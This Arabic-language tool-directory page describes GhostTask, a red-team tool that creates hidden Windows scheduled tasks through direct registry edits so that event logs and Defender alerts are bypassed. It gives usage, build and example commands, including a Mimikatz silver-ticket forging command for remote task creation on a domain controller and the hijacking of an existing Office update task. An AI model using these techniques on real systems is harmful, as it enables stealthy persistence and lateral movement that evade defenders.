Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
GhostTask — أداة تستخدم التلاعب المباشر بالسجل لإنشاء مهام مجدولة دون تشغيل سجلات الأحداث المعتادة. | Kitploit
أدوات/GitHubGitHub/netero1010/ghosttask
تصعيد الامتيازاتآليات الاستمراريةالحركة الجانبيةالفريق الأحمر
GitHubnetero1010/ghosttask

GhostTask

أداة تستخدم التلاعب المباشر بالسجل لإنشاء مهام مجدولة دون تشغيل سجلات الأحداث المعتادة.

عرض المستودع
63570منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مهمة مجدولة شبحية

مستوحاة من بحث WithSecure حول التلاعب بالمهام المجدولة، حيث شرحوا جدوى إنشاء مهمة مجدولة فقط من خلال التلاعب بمفاتيح التسجيل. يمكن لمثل هذا النهج تجاوز توليد سجلات أحداث إنشاء المهام المجدولة، مثل 4698 و 106، مما يوفر طريقة أكثر تمويهاً لتحقيق الاستمرارية. في ضوء هذه الأفكار، قمت بتطوير هذا المفهوم التجريبي (POC) لإثبات إنشاء المهام المجدولة من خلال التلاعب المباشر بالتسجيل.

يتطلب إنشاء مهمة مجدولة جديدة إضافة عدة مفاتيح تسجيل وقيمها المرتبطة. نظراً لأن هيكل قيم التسجيل المتعلقة بالمهام المجدولة غير موثق، فقد اعتمدت منهجيتي في بناء هذه الهياكل بشكل أساسي على التجربة والخطأ، مسترشداً بالمقارنات مع قيم التسجيل للمهام المجدولة المشروعة. بالإضافة إلى ذلك، اطلعت أيضاً على الواجهات الموجودة في ملف الرأس Taskschd.h واستفدت بشكل كبير من تحليل تسجيل ويندوز من Cyber.WTF – حلقة اليوم: المهام. كان هذا البحث لا يقدر بثمن في توجيهي لصياغة هيكل كل قيمة تسجيل، مثل Triggers و Actions و DynamicInfo، والتي كانت ضرورية لبناء مهمة مجدولة وظيفية.

توفر الأداة الميزات التالية:

  • إنشاء مهام مجدولة بمُعرِّف أمان تقييدي، مما يجعلها غير مرئية لجميع المستخدمين.
  • إنشاء مهام مجدولة مباشرة عبر التسجيل، متجاوزة توليد سجلات أحداث ويندوز القياسية.
  • توفير دعم لتعديل المهام المجدولة الحالية دون توليد سجلات أحداث ويندوز.
  • دعم إنشاء المهام المجدولة عن بُعد (باستخدام تذكرة فضية مصممة خصيصاً).
  • دعم التشغيل في C2 مع وحدة تنفيذ PE في الذاكرة (مثل BruteRatel's memexec).

*ملاحظة:

  • اعتباراً من 21 أكتوبر 2023، تم اختبار هذه الأداة على ويندوز 10، ويندوز سيرفر 2016، 2019، و2022.
  • اعتباراً من 21 أكتوبر 2023، لن يتم توليد أي تنبيه أو حدث إنشاء مهمة مجدولة (نوع الإجراء ScheduledTaskCreated) في MDE (Microsoft Defender For Endpoint).
  • لإنشاء مهمة مجدولة باستخدام هذه الأداة، تحتاج إلى صلاحيات "NT AUTHORITY/SYSTEM" .
  • بعد تكوين المهمة المجدولة، ستحتاج إما إلى إعادة تشغيل النظام أو انتظار إعادة التشغيل التالية حتى يتم تحميل المهمة في عملية خدمة "الجدولة" ومن ثم تنفيذها.

الاستخدام

root@kitploit:~
Usage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: Remote computer name or "localhost".
- operation: add/delete
  - add: Create or modify a scheduled task using only registry keys. Requires restarting the "Schedule" service to load the task definition.
  - delete: Delete a scheduled task. Requires restarting the "Schedule" service to offload the task.
- taskname: Name of the scheduled task.
- program: Program to be executed.
- argument: Arguments for the program.
- username: User account under which the scheduled task will run.
- scheduletype: Supported triggers: second, daily, weekly, and logon.
- time/second (applicable for 'second', 'daily', and 'weekly' triggers):
  - For 'second' trigger: Specify the frequency in seconds for task execution.
  - For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
- day (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).

الترجمة

root@kitploit:~
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4

أمثلة

1. إنشاء مهمة مجدولة تقوم بتشغيل notepad.exe كل يوم اثنين وخميس الساعة 2:12 مساءً:

root@kitploit:~
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

HowTo

2. تعديل مهمة مجدولة موجودة بنوع جدولة ومستخدم وبرنامج جديد:

root@kitploit:~
GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

HowTo

3. إنشاء مهمة مجدولة جديدة على كمبيوتر بعيد:

كما هو موضح في مدونة WithSecure (قسم الإضافي: الحركة الجانبية)، يمكن استخدام هذه التقنية لإنشاء مهمة مجدولة جديدة عن بُعد باستخدام تذكرة فضية مصممة خصيصاً.

root@kitploit:~
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080

إنشاء مهمة مجدولة جديدة عن بُعد على خادم DC01 تقوم بتشغيل notepad.exe كل يوم الساعة 3:19 مساءً:

root@kitploit:~
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19

HowTo

الاعتمادات

  • WithSecure لبحثهم التلاعب بالمهام المجدولة من WithSecure
  • Cyber.WTF لبحثهم تحليل تسجيل ويندوز – حلقة اليوم: المهام
  • ausecwa لملف bof-registry الخاص به
تنزيل الأداة